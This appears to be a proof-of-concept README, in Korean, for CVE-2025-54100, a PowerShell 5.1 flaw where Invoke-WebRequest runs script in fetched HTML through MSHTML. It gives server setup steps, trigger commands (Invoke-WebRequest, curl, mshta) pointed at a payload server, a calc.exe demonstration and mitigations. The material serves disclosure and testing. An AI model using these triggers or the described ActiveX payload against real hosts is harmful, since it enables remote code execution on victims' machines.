
CVE-2025-54100(PowerShell 远程代码执行漏洞)
CVE-2025-54100이 악성 HTML 구문 분석을 통해 Windows PowerShell 5.1에서 **원격 코드 실행(RCE)**을 유발하는 방법을 시연합니다.
취약점 유형: Invoke-WebRequest가 -UseBasicParsing 매개변수를 사용하지 않을 때 명령 삽입 위험
심각도: CVSS 7.8 (High)
근본 원인: MSHTML 기반 HTML 응답 구문 분석으로 인해 스크립트 실행(예: ActiveXObject)이 허용되고 호출자 컨텍스트에서 실행됨
영향을 받는 시스템:
CVE-2025-54100.py의 FastAPI 서버가 특별히 조작된 HTML 페이로드를 반환합니다.WScript.Shell / Shell.Application 등의 ActiveX 객체를 인스턴스화하려고 시도합니다.calc.exe를 실행함으로써 원격 코드 실행을 시연합니다.python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
PoC HTTP 서비스 시작:
uvicorn app:app --host 0.0.0.0 --port 8888 --reload
취약한 Windows 호스트에서 -UseBasicParsing을 사용하지 않고 다음 명령을 실행합니다:
# Invoke-WebRequest
Invoke-WebRequest -Uri "http://192.168.26.16:8888"
# curl (PowerShell의 별칭)
curl http://192.168.26.16:8888
# mshta
mshta http://192.168.26.16:8888
포트가 서버 구성과 일치하는지 확인하십시오. 시스템이 취약한 경우, 포함된 스크립트가 MSHTML 구문 분석기를 통해 실행됩니다.
참고: 일부 백신 소프트웨어는 구문 분석 취약점 자체가 여전히 존재하더라도 이 동작을 차단할 수 있습니다.
calc.exe가 나타나지 않는 경우:
-UseBasicParsing 없이 Invoke-WebRequest를 다시 실행합니다.이 단계는 실행 벡터를 검증하기 위한 것입니다. 실제 공격 시나리오에서는 공격자가 난독화 또는 우회 기술을 사용하여 기본 보안 제한을 회피할 수 있습니다.

Microsoft는 2025년 12월에 이 취약점을 수정했습니다:
Windows 보안 업데이트를 즉시 설치합니다.
항상 -UseBasicParsing을 사용하여 MSHTML 구문 분석을 피하십시오:
Invoke-WebRequest -Uri "http://<attacker-ip>:8888" -UseBasicParsing
PowerShell 7+(pwsh)로 마이그레이션합니다. PowerShell Core는 더 이상 MSHTML에 의존하지 않으므로 아키텍처 수준에서 이 문제를 우회합니다.